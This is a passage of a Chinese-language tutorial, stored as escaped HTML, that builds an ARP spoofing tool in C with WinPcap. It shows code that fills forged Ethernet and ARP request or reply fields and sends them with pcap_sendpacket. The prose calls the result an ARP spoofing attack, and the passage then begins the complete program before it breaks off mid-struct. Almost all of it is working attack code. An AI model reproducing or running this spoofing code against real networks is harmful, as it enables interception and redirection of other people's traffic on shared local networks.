style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u586b\u5145\u4ee5\u592a\u7f51\u76ee\u7684\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if(op==1)&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u8868\u793aARP\u8bf7\u6c42\u5305.&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(DLCHeader-&gt;DesMAC,0xff,6);&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u7528ffffffffffff\u586b\u5145\u4ee5\u592a\u7f51\u5934\u76ee\u7684MAC\u5730\u5740\u3002&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(ARPFrame-&gt;Targ_Prot_Addr,NULL,4);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(ARPFrame-&gt;Targ_HW_Addr,NULL,6);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;else&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(DLCHeader-&gt;DesMAC,desmac,6);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(ARPFrame-&gt;Targ_Prot_Addr,desIP,4);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(ARPFrame-&gt;Targ_HW_Addr,DLCHeader-&gt;DesMAC,6);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u586b\u5145\u4ee5\u592a\u7f51\u6e90\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(DLCHeader-&gt;SrcMAC,srcmac,6);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(ARPFrame-&gt;Send_HW_Addr,srcmac,6);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u586b\u5145ARP\u5305\u6e90IP&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(ARPFrame-&gt;Send_Prot_Addr,srcip,4);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;DLCHeader-&gt;EtherType=htons((unsigned&nbsp;short)0x0806);&nbsp;&nbsp;&nbsp;&nbsp;\/\/0x0806\u8868\u793aARP\u534f\u8bae\uff0c0x0800\u8868\u793aIP\u534f\u8bae&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;HW_Addr_Len=(unsigned&nbsp;char)6;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;Prot_Addr_Len=(unsigned&nbsp;char)4;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;HW_Type=htons((unsigned&nbsp;short)1);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;Opcode=htons((unsigned&nbsp;short)op);&nbsp;&nbsp;&nbsp;\/\/01\u8868\u793a\u8bf7\u6c42\uff0c02\u8868\u793a\u5e94\u7b54&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;Prot_Type=htons((unsigned&nbsp;short)0x0800);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\u6700\u540e\u6211\u4eec\u5c06\u586b\u5145\u597d\u7684ARP\u5305\u53d1\u9001\u51fa\u53bb\u5c31\u5f62\u6210\u4e86\u4e00\u6b21ARP\u6b3a\u9a97\u653b\u51fb\u4e86\uff1a&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;BOOL&nbsp;SendPacket(pcap_t&nbsp;*hpcap,char&nbsp;*Packet,int&nbsp;packetsize)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;\/*&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;*hpcap&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u7f51\u5361\u63cf\u8ff0\u5b57&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;*Packet&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u6570\u636e\u5305\u7684\u6307\u9488&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;Packetsize&nbsp;&nbsp;&nbsp;\u6570\u636e\u5305\u5927\u5c0f&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if(pcap_sendpacket(hpcap,Packet,packetsize)!=0)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u6570\u636e\u5305\u53d1\u9001\u5931\u8d25\u3002\\n&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;ERROR;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;TRUE;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u6700\u540e\u5199\u51fa\u5b8c\u6574\u7684\u4ee3\u7801\uff1a&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;#include&nbsp;&lt;stdio.h&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;#include&nbsp;&lt;stdlib.h&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;#include&nbsp;&lt;string.h&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;#include&nbsp;&lt;windows.h&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;#include&nbsp;&lt;pcap.h&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;#include&nbsp;&lt;conio.h&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;#include&nbsp;&lt;winsock2.h&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;#include&nbsp;&lt;iphlpapi.h&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;#pragma&nbsp;comment(lib,&#8221;ws2_32.lib&#8221;)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;#pragma&nbsp;comment(lib,&#8221;Iphlpapi.lib&#8221;)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;#pragma&nbsp;comment(lib,&#8221;pcap.lib&#8221;)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;typedef&nbsp;struct&nbsp;DLC_Header&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;DesMAC[6];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u4ee5\u592a\u7f51\u76ee\u7684\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;SrcMAC[6];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u4ee5\u592a\u7f51\u6e90\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;EtherType;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u5e27\u7c7b\u578b&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span 